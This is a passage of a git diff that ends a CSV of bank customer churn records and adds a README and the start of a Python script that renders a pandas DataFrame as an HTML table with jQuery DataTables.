+9657,15603221,Burgess,696,Germany,Male,32,4,84421.62,1,0,1,52314.71,0 +9658,15740043,Young,606,France,Male,32,5,83161.65,1,1,1,116885.59,0 +9659,15712264,Plumb,713,France,Female,39,10,0,2,1,1,126263.97,0 +9660,15751926,Trentino,821,Germany,Male,42,3,87807.29,2,1,1,64613.81,0 +9661,15589401,Allen,550,France,Female,30,4,0,2,1,0,89216.29,0 +9662,15742019,Benford,675,France,Female,39,6,0,2,0,0,83419.15,0 +9663,15660611,Gallo,748,Spain,Male,39,3,0,2,1,1,123998.52,0 +9664,15607634,Cobb,606,Germany,Male,40,9,95293.86,2,0,1,96985.58,0 +9665,15595036,Doherty,726,Germany,Male,30,7,92847.59,1,1,0,146154.06,0 +9666,15745794,Cocci,547,France,Male,30,6,0,2,1,1,18471.86,0 +9667,15781689,Macadam,758,Spain,Male,35,5,0,2,1,0,95009.6,0 +9668,15696054,Tychonoff,596,France,Male,37,2,0,1,0,1,121175.86,0 +9669,15752467,Johnson,720,Spain,Male,34,3,0,2,1,1,77047.78,0 +9670,15597739,Tu,674,France,Male,37,3,0,1,1,0,158049.9,0 +9671,15651336,Chidiebere,756,France,Female,32,4,0,2,1,0,147040.25,0 +9672,15636061,Pope,649,Germany,Male,78,4,68345.86,2,1,1,142566.75,0 +9673,15723013,Sutherland,613,Germany,Male,28,7,76656.4,2,1,1,185483.24,0 +9674,15784148,Beneventi,643,France,Male,62,9,0,2,0,0,155870.82,0 +9675,15578098,Jamieson,600,France,Male,31,8,0,2,1,1,121555.51,0 +9676,15638621,Simmons,735,Spain,Male,39,1,60374.98,1,1,0,40223.74,0 +9677,15720924,Chijioke,585,France,Female,34,1,0,1,1,1,75503.6,0 +9678,15566531,Iloerika,724,Germany,Male,33,4,88046.88,1,0,1,186942.49,1 +9679,15718064,Chia,635,Spain,Male,29,2,0,2,0,0,117173.8,0 +9680,15605067,Nwachinemelu,472,France,Male,19,9,0,2,1,0,3453.4,0 +9681,15655335,Becher,590,France,Male,36,1,0,2,1,0,48876.84,0 +9682,15607301,Romano,651,Spain,Female,63,8,129968.67,1,1,1,11830.53,0 +9683,15694628,Walker,686,Germany,Female,39,4,157731.6,2,1,0,162820.6,0 +9684,15607112,Chiawuotu,606,France,Male,32,6,0,2,0,1,36540.63,0 +9685,15635775,Watt,781,France,Male,33,3,89276.48,1,1,0,6959,0 +9686,15644280,Udegbunam,593,France,Male,45,4,138825.19,1,0,0,10828.78,0 +9687,15708362,Watson,793,France,Male,63,4,103729.79,2,1,1,80272.06,0 +9688,15771997,Bryant,791,France,Female,31,10,75499.24,1,1,0,22184.14,0 +9689,15730579,Ward,850,France,Male,68,5,169445.4,1,1,1,186335.07,0 +9690,15728005,Urban,698,France,Female,57,9,111359.55,2,1,0,105715.01,0 +9691,15791674,Sutherland,846,France,Female,34,10,142388.61,2,0,1,68393.64,1 +9692,15754599,K'ung,765,France,Male,42,4,123311.39,2,1,1,82868.34,0 +9693,15693690,Iweobiegbunam,574,Spain,Male,52,7,115532.52,1,1,0,196257.67,0 +9694,15728963,Wei,617,Germany,Female,51,10,167273.71,1,0,0,93439.75,1 +9695,15659710,Lascelles,581,France,Male,25,5,77886.53,2,1,0,150319.49,0 +9696,15658675,Ts'ao,710,Germany,Male,37,6,135795.63,1,0,1,46523.6,0 +9697,15638788,Mack,550,France,Male,32,8,97514.07,1,1,1,199138.84,0 +9698,15609735,Campbell,533,Germany,Male,51,6,127545.56,2,0,0,79559.02,1 +9699,15771477,Fiorentini,779,France,Male,49,9,106160.37,1,0,0,116893.87,0 +9700,15570145,Long,763,France,Female,23,2,0,2,1,0,153983.99,0 +9701,15797149,Lloyd,563,Spain,Female,36,4,143680.47,2,1,1,63531.19,0 +9702,15636912,Sneddon,678,Spain,Male,38,3,124483.53,1,1,0,126253.31,0 +9703,15687828,Gorshkov,644,Spain,Female,31,5,86006.3,1,1,1,73922.95,0 +9704,15667424,Forbes,682,Germany,Female,43,7,111094.05,2,1,1,64679.3,0 +9705,15759872,L?,625,France,Male,22,9,0,2,1,0,157072.91,0 +9706,15572374,Hopetoun,733,Spain,Male,36,1,0,2,0,1,108377.82,0 +9707,15754926,Lucchesi,512,France,Female,30,6,0,2,1,0,88827.31,0 +9708,15687431,Faria,642,France,Female,41,7,115171.71,1,1,1,37674.47,0 +9709,15604515,Yefremov,737,Germany,Female,22,10,111543.26,2,0,0,106327.85,0 +9710,15682839,Genovesi,575,France,Female,57,8,137936.94,1,1,1,84475.13,0 +9711,15624677,Marquez,543,Germany,Female,37,3,122304.65,2,0,0,33998.7,0 +9712,15646366,Trevisani,521,Germany,Male,41,8,120586.54,1,0,1,20491.15,0 +9713,15701768,Tung,637,France,Male,32,3,0,2,1,1,197827.06,0 +9714,15623566,Barnhill,714,France,Male,40,9,46520.69,1,1,1,96687.25,0 +9715,15681274,Marshall,726,Spain,Female,56,2,105473.74,1,1,1,46044.7,0 +9716,15762573,Bednall,680,Spain,Female,34,7,0,2,1,0,98949.85,0 +9717,15706458,Pan,812,Germany,Male,39,5,115730.71,3,1,1,185599.34,1 +9718,15654222,Ogg,757,Spain,Male,30,3,145396.49,1,0,1,198341.15,0 +9719,15704053,T'ang,710,Spain,Male,62,3,131078.42,2,1,0,119348.76,1 +9720,15724321,Baresi,516,Germany,Female,47,9,128298.74,1,0,0,149614.17,1 +9721,15621815,Obiajulu,803,France,Female,40,6,165526.71,1,1,0,12328.08,0 +9722,15724876,McGregor,560,France,Female,38,5,83714.41,1,1,1,33245.97,0 +9723,15696588,Lung,679,France,Female,36,3,0,2,1,1,2243.41,0 +9724,15612832,Jamieson,526,France,Male,32,7,125540.05,1,0,0,86786.41,0 +9725,15804295,Pinto,485,France,Male,41,2,100254.76,2,1,1,12706.67,0 +9726,15712536,Fallaci,625,France,Female,36,3,0,2,1,0,41295.1,1 +9727,15662494,Goliwe,773,Spain,Male,43,7,138150.57,1,1,1,177357.16,0 +9728,15807728,Ferri,530,France,Female,45,1,0,1,0,1,190663.89,1 +9729,15764916,Rowley,616,Germany,Female,43,7,95984.21,1,0,1,115262.54,1 +9730,15615330,Tretiakova,651,France,Male,23,10,0,2,1,1,170099.23,0 +9731,15638487,She,586,Germany,Male,38,2,136858.42,1,0,1,189143.94,0 +9732,15627859,Nebeolisa,607,Germany,Male,29,7,102609,1,1,0,163257.44,0 +9733,15622192,Young,724,Spain,Male,39,3,0,2,0,1,95562.81,0 +9734,15789413,Fitzgerald,733,France,Male,64,3,0,2,1,1,75272.63,0 +9735,15583221,Arnold,667,Germany,Male,70,3,77356.92,2,1,1,20881.96,0 +9736,15768495,Chidimma,700,France,Female,32,8,110923.15,2,1,1,161845.81,1 +9737,15644103,Wells,659,Spain,Male,78,2,151675.65,1,0,1,49978.67,0 +9738,15741197,Calzada,710,Spain,Male,22,8,0,3,1,0,107292.91,0 +9739,15664547,Black,760,France,Male,37,7,0,1,0,0,32863.24,1 +9740,15797293,Sopuluchukwu,677,France,Female,25,3,0,2,1,0,179608.96,0 +9741,15572021,Ts'ao,798,Germany,Female,29,8,80204.11,2,1,0,70223.22,0 +9742,15637461,Ukaegbunam,758,France,Male,35,7,0,2,1,0,77951.84,0 +9743,15620577,Wood,715,France,Male,45,4,0,2,1,1,55043.93,0 +9744,15609643,Furneaux,752,Germany,Male,32,9,115587.49,2,0,1,101677.46,0 +9745,15785358,Gresswell,586,Germany,Male,46,8,106968.96,1,1,1,79366.98,1 +9746,15603883,Ch'in,818,France,Male,36,4,0,2,1,1,8037.03,0 +9747,15782550,Ma,490,Germany,Female,41,0,139659.04,1,1,1,176254.12,0 +9748,15775761,Iweobiegbunam,610,Germany,Female,69,5,86038.21,3,0,0,192743.06,1 +9749,15680201,Marcelo,627,Germany,Male,24,5,102773.2,2,1,0,56793.02,1 +9750,15767594,Azubuike,533,France,Female,35,8,0,2,1,1,187900.12,0 +9751,15591985,Stewart,708,France,Female,51,8,70754.18,1,1,1,92920.04,1 +9752,15789339,Yen,681,France,Male,59,4,122781.51,1,0,1,140166.95,0 +9753,15781530,Hsieh,690,France,Male,21,8,0,2,1,1,155782.89,0 +9754,15705174,Chiedozie,656,Germany,Male,68,7,153545.11,1,1,1,186574.68,0 +9755,15572114,Shih,673,Spain,Male,40,1,121629.22,1,1,1,3258.6,0 +9756,15804009,Amechi,806,Germany,Male,36,8,167983.17,2,1,1,106714.28,0 +9757,15662698,Ko,648,Spain,Female,43,7,81153.82,1,1,1,144532.85,1 +9758,15696047,Chimezie,501,France,Male,35,6,99760.84,1,1,1,13591.52,0 +9759,15701160,Azubuike,556,Germany,Female,43,4,125890.72,1,1,1,74854.97,0 +9760,15790093,Aguirre,627,France,Female,27,2,0,2,1,0,125451.01,0 +9761,15632143,Lung,652,France,Male,31,2,119148.55,1,0,0,149740.22,0 +9762,15736778,Adams,807,Germany,Female,60,1,72948.58,2,1,1,17355.36,0 +9763,15734917,Castiglione,708,Germany,Male,21,8,133974.36,2,1,0,50294.09,0 +9764,15643903,Yao,619,France,Male,27,1,154483.98,1,1,0,156394.74,0 +9765,15569526,Morales,601,France,Male,40,10,98627.13,2,0,0,77977.69,0 +9766,15777067,Thomas,445,France,Male,64,2,136770.67,1,0,1,43678.06,0 +9767,15795511,Vasiliev,800,Germany,Male,39,4,95252.72,1,1,0,13906.34,0 +9768,15610419,Chukwueloka,554,France,Male,33,3,117413.95,1,1,1,12766.74,0 +9769,15644994,Ko,714,Germany,Male,54,4,137986.58,2,0,1,51308.54,1 +9770,15703707,Atkins,656,France,Male,44,10,143571.52,1,0,0,127444.14,0 +9771,15659327,Moffitt,520,France,Male,49,5,121197.64,1,1,0,72577.33,1 +9772,15771323,Panicucci,480,Spain,Male,39,5,121626.9,1,1,1,82438.13,0 +9773,15750549,Akobundu,660,Germany,Male,30,1,84440.1,2,1,1,60485.98,0 +9774,15698462,Chiu,532,France,Male,36,4,0,2,1,1,132798.78,0 +9775,15739692,Tsui,679,France,Male,42,1,0,2,0,0,71823.15,0 +9776,15744041,Yobanna,780,France,Female,26,3,140356.7,1,1,0,117144.15,0 +9777,15700714,Hollis,747,France,Male,29,7,0,2,1,1,141706.43,0 +9778,15777743,Cattaneo,705,France,Female,39,3,92224.56,1,1,1,54517.25,0 +9779,15623143,Lung,732,France,Female,43,9,0,2,1,0,183147.17,0 +9780,15712568,Angelo,515,Spain,Male,40,10,121355.99,1,1,0,138360.29,0 +9781,15617432,Folliero,816,Germany,Female,40,9,109003.26,1,1,1,79580.56,0 +9782,15650424,Bryant,641,France,Female,48,3,147341.43,1,1,1,157458.61,1 +9783,15728829,Weigel,509,France,Male,18,7,102983.91,1,1,0,171770.58,0 +9784,15680430,Ajuluchukwu,601,Germany,Female,49,4,96252.98,2,1,0,104263.82,0 +9785,15687626,Zhirov,527,France,Male,39,4,0,2,1,0,167183.07,1 +9786,15609187,Cox,455,France,Female,27,5,155879.09,2,0,0,70774.97,0 +9787,15609521,Chimaraoke,803,Germany,Male,34,4,142929.16,2,1,1,114869.56,0 +9788,15752626,Genovese,553,France,Male,32,7,64082.09,1,0,1,109159.58,0 +9789,15571756,Ohearn,724,France,Female,28,5,0,1,1,0,59351.68,0 +9790,15814040,Munroe,610,France,Female,45,1,0,2,1,1,199657.46,0 +9791,15658211,Morrison,559,Spain,Female,39,2,0,2,1,1,121151.1,0 +9792,15742091,Parkhill,825,Germany,Female,35,6,118336.95,1,1,0,26342.33,1 +9793,15787168,Y?,819,Spain,Female,28,8,168253.21,1,1,1,102799.14,0 +9794,15772363,Hilton,772,Germany,Female,42,0,101979.16,1,1,0,90928.48,0 +9795,15659364,Thompson,685,Spain,Male,23,5,164902.43,1,0,0,141152.28,0 +9796,15738980,Yobanna,506,France,Male,43,2,0,2,1,0,105568.6,0 +9797,15794236,Thorpe,642,Germany,Male,22,10,111812.52,2,1,1,183045.46,0 +9798,15721383,Harvey,627,Spain,Male,40,10,0,2,1,1,194792.42,0 +9799,15652981,Robinson,600,Germany,Male,30,2,119755,1,1,1,21852.91,0 +9800,15722731,Manna,653,France,Male,46,0,119556.1,1,1,0,78250.13,1 +9801,15640507,Li,762,Spain,Female,35,3,119349.69,3,1,1,47114.18,1 +9802,15578878,Hancock,569,Spain,Female,30,3,139528.23,1,1,1,33230.37,0 +9803,15744295,Hao,756,France,Male,40,1,94773.11,1,1,0,114279.63,0 +9804,15776558,Nicholls,673,France,Male,31,1,108345.22,1,0,1,38802.03,0 +9805,15596136,Folliero,637,France,Female,36,9,166939.88,1,1,1,72504.76,0 +9806,15704597,Trumbull,644,France,Male,33,7,174571.36,1,0,1,43943.09,0 +9807,15648272,Medvedeva,658,Spain,Male,35,9,71829.34,1,1,1,68141.92,0 +9808,15594915,Crist,649,France,Female,36,8,0,2,0,1,109179.89,0 +9809,15581115,Middleton,603,France,Female,39,9,76769.68,1,0,0,48224.72,0 +9810,15763907,Watts,820,France,Female,39,1,104614.29,1,1,0,61538.43,1 +9811,15705994,Udinese,712,Spain,Male,27,10,0,1,1,0,94544.88,0 +9812,15772421,Tretiakov,645,Germany,Female,31,1,128927.93,1,1,1,2850.01,0 +9813,15711572,O'Kane,705,Germany,Female,31,9,110941.93,2,1,0,163484.8,0 +9814,15691170,Vasilyeva,590,Spain,Female,29,10,99250.08,1,1,1,129629.41,0 +9815,15600106,Wei,631,France,Male,36,1,0,2,0,0,133141.34,0 +9816,15745431,Chinonyelum,604,France,Male,34,7,0,2,1,1,188078.55,0 +9817,15649508,Chin,643,Spain,Male,48,8,0,2,1,0,174729.3,0 +9818,15812611,Lorimer,690,Spain,Female,30,5,0,2,0,1,78700.03,0 +9819,15619699,Yeh,558,France,Male,31,7,0,1,1,0,198269.08,0 +9820,15813946,Duffy,637,Germany,Male,51,1,104682.83,1,1,0,55266.96,1 +9821,15762762,Onyekachukwu,648,Germany,Female,45,5,118886.55,1,0,0,51636.7,0 +9822,15629793,Banks,652,Spain,Male,28,8,156823.7,2,1,0,198251.52,0 +9823,15781298,Hughes,808,Germany,Male,39,3,124216.93,1,0,1,171442.36,0 +9824,15622658,Lai,551,France,Female,26,2,144258.52,1,1,0,49778.79,0 +9825,15658980,Matthews,711,Germany,Male,26,9,128793.63,1,1,0,19262.05,0 +9826,15701936,Bell,467,Germany,Male,28,10,126315.26,1,1,0,32349.29,1 +9827,15686917,Tu,789,Spain,Female,40,4,0,2,1,0,137402.27,0 +9828,15807312,Hsia,602,Spain,Male,33,5,0,2,0,1,64038.34,0 +9829,15574523,Cheng,576,France,Male,39,1,0,2,1,1,68814.23,0 +9830,15724200,Cheng,584,France,Male,38,1,115341.55,1,0,1,173632.92,0 +9831,15738224,Lin,593,France,Male,32,6,99162.29,1,1,0,128384.11,0 +9832,15593283,Higgins,705,Germany,Female,48,1,156848.13,2,1,1,99475.95,1 +9833,15814690,Chukwujekwu,595,Germany,Female,64,2,105736.32,1,1,1,89935.73,1 +9834,15807245,McKay,699,Germany,Female,41,1,200117.76,2,1,0,94142.35,0 +9835,15799358,Vincent,516,France,Female,46,6,62212.29,1,0,1,171681.86,1 +9836,15616172,Ubanwa,838,France,Male,31,2,0,2,1,0,8222.96,0 +9837,15777958,Ch'ien,587,France,Male,39,10,0,2,1,1,170409.45,0 +9838,15809124,T'ien,750,France,Male,38,5,151532.4,1,1,1,46555.15,0 +9839,15616367,Ricci,581,Germany,Male,39,1,121523.51,1,0,0,161655.55,1 +9840,15687385,McDowell,484,France,Male,41,5,0,1,1,1,74267.35,0 +9841,15607877,Maclean,576,Spain,Male,26,8,0,2,0,1,34101.06,0 +9842,15736327,Manna,567,Germany,Female,46,1,68238.51,2,1,1,109572.58,0 +9843,15746704,Jibunoh,638,Spain,Male,30,9,136808.53,2,1,1,106642.97,0 +9844,15778304,Fan,646,Germany,Male,24,0,92398.08,1,1,1,18897.29,0 +9845,15588456,Hsieh,658,France,Female,40,5,143566.12,1,1,1,189607.71,0 +9846,15664035,Parsons,590,Spain,Female,38,9,0,2,1,1,148750.16,0 +9847,15596405,Udinese,546,Spain,Male,25,7,127728.24,2,1,1,105279.74,0 +9848,15815097,Root,603,France,Female,34,9,0,2,1,0,167916.35,0 +9849,15762708,Chiemezie,619,Spain,Female,38,10,119658.49,1,1,1,8646.58,0 +9850,15776211,Toscani,678,France,Female,34,6,0,2,1,1,124592.84,0 +9851,15626012,Obidimkpa,459,France,Male,26,4,149879.66,1,0,0,50016.17,0 +9852,15792077,Degtyaryov,671,Germany,Male,28,8,119859.52,2,1,0,125422.66,0 +9853,15718765,Maclean,501,Spain,Male,43,6,104533.24,1,0,0,81123.59,1 +9854,15576615,Giordano,719,Spain,Male,37,10,145382.61,1,1,0,80408.59,0 +9855,15752650,Saad,681,Spain,Female,37,6,121231.39,1,1,1,146366.08,0 +9856,15797502,Lord,706,Spain,Male,24,2,141078.57,1,1,1,24402.87,0 +9857,15687329,Hope,763,Germany,Female,32,1,108465.65,2,1,0,60552.44,1 +9858,15779423,K?,716,France,Male,39,1,70657.61,2,1,1,76476.05,0 +9859,15619514,Bull,507,Germany,Male,40,3,120105.43,1,1,0,92075.01,1 +9860,15615430,Adams,678,Germany,Male,55,4,129646.91,1,1,1,184125.1,1 +9861,15716431,Brookes,775,France,Female,30,10,191091.74,2,1,1,96170.38,0 +9862,15798341,Victor,544,France,Male,38,8,0,1,1,1,98208.62,0 +9863,15651958,Giles,756,France,Male,27,8,0,2,1,1,157932.75,0 +9864,15726179,Ferrari,757,Germany,Female,43,5,131433.33,2,1,1,3497.43,1 +9865,15652999,Milne,742,Germany,Male,33,1,137937.95,1,1,1,51387.1,0 +9866,15691950,Parry,591,France,Male,49,3,0,2,1,0,50123.44,0 +9867,15632446,Allan,667,France,Male,24,4,0,2,0,0,180329.83,0 +9868,15620936,Warren,787,France,Male,32,4,0,2,1,1,13238.93,0 +9869,15587640,Rowntree,718,France,Female,43,0,93143.39,1,1,0,167554.86,0 +9870,15782231,Andrejew,521,France,Male,38,6,0,2,1,0,51454.06,0 +9871,15580462,Corby,607,Spain,Male,40,1,112544.45,1,1,1,19842.22,0 +9872,15736371,Kennedy,633,France,Female,34,3,123034.43,2,1,1,38315.04,0 +9873,15648032,Young,588,Spain,Male,37,2,0,2,0,1,187816.59,0 +9874,15610454,Poole,724,Germany,Female,33,9,119278.44,1,1,1,197148.24,0 +9875,15671358,Fletcher,720,France,Male,44,4,0,2,1,0,163471.01,0 +9876,15747130,Tsao,521,France,Male,39,7,0,2,0,1,653.58,0 +9877,15578374,Gilroy,620,Spain,Male,36,7,169312.72,1,1,0,45414.09,0 +9878,15572182,Onwuamaeze,505,Germany,Female,33,3,106506.77,3,1,0,45445.78,1 +9879,15770041,Manna,728,Spain,Female,43,8,128412.61,1,0,1,139024.31,0 +9880,15669414,Pisano,486,Germany,Male,62,9,118356.89,2,1,0,168034.83,1 +9881,15777054,Thorpe,584,Germany,Male,42,3,137479.13,1,1,0,25669.1,0 +9882,15621021,Dwyer,687,Spain,Female,40,1,0,2,1,0,8207.36,0 +9883,15785490,Okeke,771,France,Male,50,3,105229.72,1,1,1,16281.68,1 +9884,15577695,Zito,678,France,Male,41,2,148088.11,1,1,0,14083.12,0 +9885,15686974,Sergeyeva,751,France,Female,48,4,0,1,0,1,30165.06,1 +9886,15574584,Fang,670,France,Male,33,8,126679.69,1,1,1,39451.09,0 +9887,15719541,Flannagan,675,Spain,Male,31,2,90826.27,2,1,0,60270.87,0 +9888,15646310,Mao,684,Spain,Male,24,8,143582.89,1,1,1,22527.27,0 +9889,15697606,Sturdee,637,France,Female,21,10,125712.2,1,0,0,175072.47,0 +9890,15711489,Azikiwe,760,Spain,Female,32,2,0,1,1,1,114565.35,0 +9891,15670427,Chidi,662,Spain,Male,37,4,155187.3,1,1,0,48930.8,0 +9892,15731755,Hull,680,France,Male,49,10,0,2,1,0,187008.45,0 +9893,15796370,Shah,604,Spain,Male,40,5,155455.43,1,0,1,113581.85,0 +9894,15598331,Morgan,764,France,Female,40,9,100480.53,1,1,0,124095.69,0 +9895,15704795,Vagin,521,France,Female,77,6,0,2,1,1,49054.1,0 +9896,15796764,Bruno,684,Germany,Female,56,3,127585.98,3,1,1,80593.49,1 +9897,15589420,Osinachi,795,France,Female,40,2,101891.1,1,1,1,183044.86,0 +9898,15810563,Ho,678,Spain,Female,61,8,0,2,1,1,159938.82,0 +9899,15746569,Tsui,589,France,Male,38,4,0,1,1,0,95483.48,1 +9900,15811594,Gordon,660,Spain,Female,28,3,128929.88,1,1,1,198069.71,0 +9901,15645896,Duncan,646,Germany,Male,39,6,121681.91,2,0,1,61793.47,0 +9902,15802909,Hu,706,Germany,Female,56,3,139603.22,1,1,1,86383.61,0 +9903,15797665,Docherty,730,France,Female,27,7,0,2,1,0,144099.48,0 +9904,15778959,Brookes,606,France,Female,36,10,0,2,0,1,155641.46,0 +9905,15722532,Angelo,690,Spain,Female,36,10,91760.11,1,1,1,135784.94,0 +9906,15784124,Emenike,645,Germany,Male,41,2,93925.3,1,1,0,123982.14,1 +9907,15776518,Pugh,579,France,Female,38,4,175739.36,1,1,1,193130.55,0 +9908,15611247,McKenzie,481,France,Female,28,10,0,2,1,0,145215.96,0 +9909,15721469,Mach,492,Germany,Male,45,9,170295.04,2,0,0,164741.81,0 +9910,15773338,Endrizzi,739,France,Male,58,2,101579.28,1,1,1,72168.53,0 +9911,15784042,L?,624,France,Male,55,7,118793.6,1,1,1,95022.02,1 +9912,15776229,MacPherson,682,France,Male,44,3,115282.3,1,0,0,23766.4,0 +9913,15655903,Michael,701,Spain,Female,34,6,107980.37,1,1,1,119374.74,0 +9914,15590177,Chiedozie,718,France,Female,44,1,133866.22,1,0,1,139049.24,0 +9915,15568876,Hughes,496,France,Female,34,1,102723.35,2,1,0,180844.81,0 +9916,15813140,Taylor,543,Spain,Male,41,5,0,2,0,1,143980.29,0 +9917,15770516,Evdokimov,616,Spain,Female,44,7,193213.02,2,1,1,137392.77,0 +9918,15755731,Davis,635,Germany,Male,53,8,117005.55,1,0,1,123646.57,1 +9919,15574480,Ubanwa,652,Spain,Male,31,1,132862.59,1,0,0,158054.49,0 +9920,15798084,Murray,688,France,Male,26,0,0,2,1,0,105784.85,0 +9921,15673020,Smith,678,France,Female,49,3,204510.94,1,0,1,738.88,1 +9922,15643575,Evseev,757,Germany,Male,36,1,65349.71,1,0,0,64539.64,0 +9923,15596811,Mitchell,667,France,Male,36,8,139753.35,1,1,0,79871.16,0 +9924,15786789,Ni,725,France,Female,29,6,0,2,1,1,190776.83,0 +9925,15578865,Palerma,632,Germany,Female,50,5,107959.39,1,1,1,6985.34,1 +9926,15605672,Yuan,694,France,Female,38,5,195926.39,1,1,1,85522.84,0 +9927,15603674,Knight,803,France,Male,36,1,0,2,1,1,149370.93,0 +9928,15759915,Rapuokwu,814,France,Female,31,6,87772.52,1,1,0,188516.45,0 +9929,15686219,Wan,611,France,Male,38,4,71018.6,2,1,0,2444.29,0 +9930,15696388,Artamonova,755,Germany,Male,38,4,111096.91,1,1,1,19762.88,0 +9931,15713604,Rossi,425,Germany,Male,40,9,166776.6,2,0,1,172646.88,0 +9932,15647800,Greco,850,France,Female,34,6,101266.51,1,1,0,33501.98,0 +9933,15813451,Fleetwood-Smith,677,Spain,Male,18,8,134796.87,2,1,1,114858.9,0 +9934,15765375,Butusov,797,France,Female,46,8,0,1,0,0,162668.33,0 +9935,15774586,West,692,Germany,Female,43,10,118588.83,1,1,1,161241.65,1 +9936,15603454,Sanders,735,Germany,Male,28,5,160454.15,2,0,1,114957.22,0 +9937,15653037,Parks,609,France,Male,77,1,0,1,0,1,18708.76,0 +9938,15782475,Edith,700,France,Female,42,8,0,2,1,1,105305.72,0 +9939,15593496,Korovin,526,Spain,Female,36,5,91132.18,1,0,0,58111.71,0 +9940,15808971,Lajoie,693,Spain,Female,57,9,0,2,1,1,135502.77,0 +9941,15791972,Bergamaschi,748,France,Female,20,7,0,2,0,0,10792.42,0 +9942,15676869,T'ien,657,Spain,Male,36,8,0,2,0,1,123866.43,0 +9943,15683007,Torode,739,Germany,Female,25,5,113113.12,1,1,0,129181.27,0 +9944,15659495,Fu,784,Spain,Male,23,2,0,1,1,1,6847.73,0 +9945,15703923,Cameron,744,Germany,Male,41,7,190409.34,2,1,1,138361.48,0 +9946,15674000,Cattaneo,645,France,Male,44,10,0,2,0,1,166707.22,0 +9947,15618171,James,669,France,Female,33,9,0,2,0,1,107221.03,0 +9948,15732202,Abramovich,615,France,Male,34,1,83503.11,2,1,1,73124.53,1 +9949,15735078,Onwughara,724,Germany,Female,53,1,139687.66,2,1,1,12913.92,0 +9950,15798615,Wan,850,France,Female,47,9,137301.87,1,1,0,44351.77,0 +9951,15638494,Salinas,625,Germany,Female,39,10,129845.26,1,1,1,96444.88,0 +9952,15763874,Ho,635,Spain,Male,46,8,0,2,1,1,60739.16,0 +9953,15696355,Cleveland,724,Germany,Male,37,6,125489.4,1,1,0,118570.53,0 +9954,15655952,Burke,550,France,Male,47,2,0,2,1,1,97057.28,0 +9955,15739850,Trentino,645,France,Male,45,6,155417.61,1,0,1,3449.22,0 +9956,15611338,Kashiwagi,714,Spain,Male,29,4,0,2,1,1,37605.9,0 +9957,15707861,Nucci,520,France,Female,46,10,85216.61,1,1,0,117369.52,1 +9958,15672237,Oluchi,633,France,Male,25,1,0,1,1,0,100598.98,0 +9959,15657771,Ts'ui,537,France,Male,37,6,0,1,1,1,17802.42,0 +9960,15677783,Graham,764,Spain,Male,38,4,113607.47,1,1,0,91094.46,0 +9961,15681026,Lucciano,795,Germany,Female,33,9,104552.72,1,1,1,120853.83,1 +9962,15566543,Aldridge,573,Spain,Male,44,9,0,2,1,0,107124.17,0 +9963,15594612,Flynn,702,Spain,Male,44,9,0,1,0,0,59207.41,1 +9964,15814664,Scott,740,Germany,Male,33,2,126524.11,1,1,0,136869.31,0 +9965,15642785,Douglas,479,France,Male,34,5,117593.48,2,0,0,113308.29,0 +9966,15690164,Shao,627,Germany,Female,33,4,83199.05,1,0,0,159334.93,0 +9967,15590213,Ch'en,479,Spain,Male,35,4,125920.98,1,1,1,20393.44,0 +9968,15603794,Pugliesi,623,France,Male,48,5,118469.38,1,1,1,158590.25,0 +9969,15733491,McGregor,512,Germany,Female,40,8,153537.57,2,0,0,23101.13,0 +9970,15806360,Hou,609,France,Male,41,6,0,1,0,1,112585.19,0 +9971,15587133,Thompson,518,France,Male,42,7,151027.05,2,1,0,119377.36,0 +9972,15721377,Chou,833,France,Female,34,3,144751.81,1,0,0,166472.81,0 +9973,15747927,Ch'in,758,France,Male,26,4,155739.76,1,1,0,171552.02,0 +9974,15806455,Miller,611,France,Male,27,7,0,2,1,1,157474.1,0 +9975,15695474,Barker,583,France,Male,33,7,122531.86,1,1,0,13549.24,0 +9976,15666295,Smith,610,Germany,Male,50,1,113957.01,2,1,0,196526.55,1 +9977,15656062,Azikiwe,637,France,Female,33,7,103377.81,1,1,0,84419.78,0 +9978,15579969,Mancini,683,France,Female,32,9,0,2,1,1,24991.92,0 +9979,15703563,P'eng,774,France,Male,40,9,93017.47,2,1,0,191608.97,0 +9980,15692664,Diribe,677,France,Female,58,1,90022.85,1,0,1,2988.28,0 +9981,15719276,T'ao,741,Spain,Male,35,6,74371.49,1,0,0,99595.67,0 +9982,15672754,Burbidge,498,Germany,Male,42,3,152039.7,1,1,1,53445.17,1 +9983,15768163,Griffin,655,Germany,Female,46,7,137145.12,1,1,0,115146.4,1 +9984,15656710,Cocci,613,France,Male,40,4,0,1,0,0,151325.24,0 +9985,15696175,Echezonachukwu,602,Germany,Male,35,7,90602.42,2,1,1,51695.41,0 +9986,15586914,Nepean,659,France,Male,36,6,123841.49,2,1,0,96833,0 +9987,15581736,Bartlett,673,Germany,Male,47,1,183579.54,2,0,1,34047.54,0 +9988,15588839,Mancini,606,Spain,Male,30,8,180307.73,2,1,1,1914.41,0 +9989,15589329,Pirozzi,775,France,Male,30,4,0,2,1,0,49337.84,0 +9990,15605622,McMillan,841,Spain,Male,28,4,0,2,1,1,179436.6,0 +9991,15798964,Nkemakonam,714,Germany,Male,33,3,35016.6,1,1,0,53667.08,0 +9992,15769959,Ajuluchukwu,597,France,Female,53,4,88381.21,1,1,0,69384.71,1 +9993,15657105,Chukwualuka,726,Spain,Male,36,2,0,1,1,0,195192.4,0 +9994,15569266,Rahman,644,France,Male,28,7,155060.41,1,1,0,29179.52,0 +9995,15719294,Wood,800,France,Female,29,2,0,2,0,0,167773.55,0 +9996,15606229,Obijiaku,771,France,Male,39,5,0,2,1,0,96270.64,0 +9997,15569892,Johnstone,516,France,Male,35,10,57369.61,1,1,1,101699.77,0 +9998,15584532,Liu,709,France,Female,36,7,0,1,0,1,42085.58,1 +9999,15682355,Sabbatini,772,Germany,Male,42,3,75075.31,2,1,0,92888.52,1 +10000,15628319,Walker,792,France,Female,28,4,130142.79,1,1,0,38190.78,0 diff --git a/general/dataframe-to-html/README.md b/general/dataframe-to-html/README.md new file mode 100644 index 00000000..010894da --- /dev/null +++ b/general/dataframe-to-html/README.md @@ -0,0 +1,3 @@ +# [How to Convert Pandas Dataframes to HTML Tables in Python](https://www.thepythoncode.com/article/convert-pandas-dataframe-to-html-table-python) +To run this: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/general/dataframe-to-html/dataframe_to_html.py b/general/dataframe-to-html/dataframe_to_html.py new file mode 100644 index 00000000..d9598b85 --- /dev/null +++ b/general/dataframe-to-html/dataframe_to_html.py @@ -0,0 +1,43 @@ +import pandas as pd +import webbrowser + +def generate_html(dataframe: pd.DataFrame): + # get the table HTML from the dataframe + table_html = dataframe.to_html(table_id="table") + # construct the complete HTML with jQuery Data tables + # You can disable paging or enable y scrolling on lines 20 and 21 respectively + html = f""" + +
+ +
